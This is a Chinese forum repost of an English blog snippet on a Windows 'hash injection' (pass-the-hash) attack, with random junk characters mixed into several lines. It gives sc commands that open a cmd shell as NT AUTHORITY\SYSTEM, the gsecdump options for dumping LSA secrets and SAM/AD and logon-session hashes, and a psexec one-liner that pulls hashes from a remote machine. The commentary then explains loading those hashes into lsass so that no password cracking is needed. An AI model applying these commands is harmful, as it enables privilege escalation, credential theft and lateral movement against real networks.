HASH注入式攻击

admin

o get a DOS Prompt as NT system:
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0 ^: G8 G4 D: g. H3 f1 {C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
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C:\>sc start shellcmdline
4 C$ P% N' J# k" d3 u2 L8 N7 q" J[SC] StartService FAILED 1053:
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The service did not respond to the start or control request in a timely fashion.
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C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
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Then in the new DOS window:
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' f& f+ Z/ Q: QMicrosoft Windows XP [Version 5.1.2600]
0 E0 {' c2 t% p(C) Copyright 1985-2001 Microsoft Corp.
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3 ^7 H5 t" o: ?4 G9 M8 s8 JC:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM

C:\WINDOWS\system32>gsecdump -h
9 ?& W8 w# E- x. Z/ @gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
3 d3 ~) ~$ F9 Yusage: gsecdump [options]

6 {  P6 I, n! ~$ |options:
0 }% n, O! U+ f3 H0 Z$ u-h [ --help ] show help
-a [ --dump_all ] dump all secrets
: a& t+ f9 y9 {5 d-l [ --dump_lsa ] dump lsa secrets
* Z* q, R: W2 r) R-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:
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# B- O+ r7 K9 X( Z! ^( aPsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
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C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.
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These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
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5 ]+ W/ C% }. ?: V提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
" C  S( Q% G4 C原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。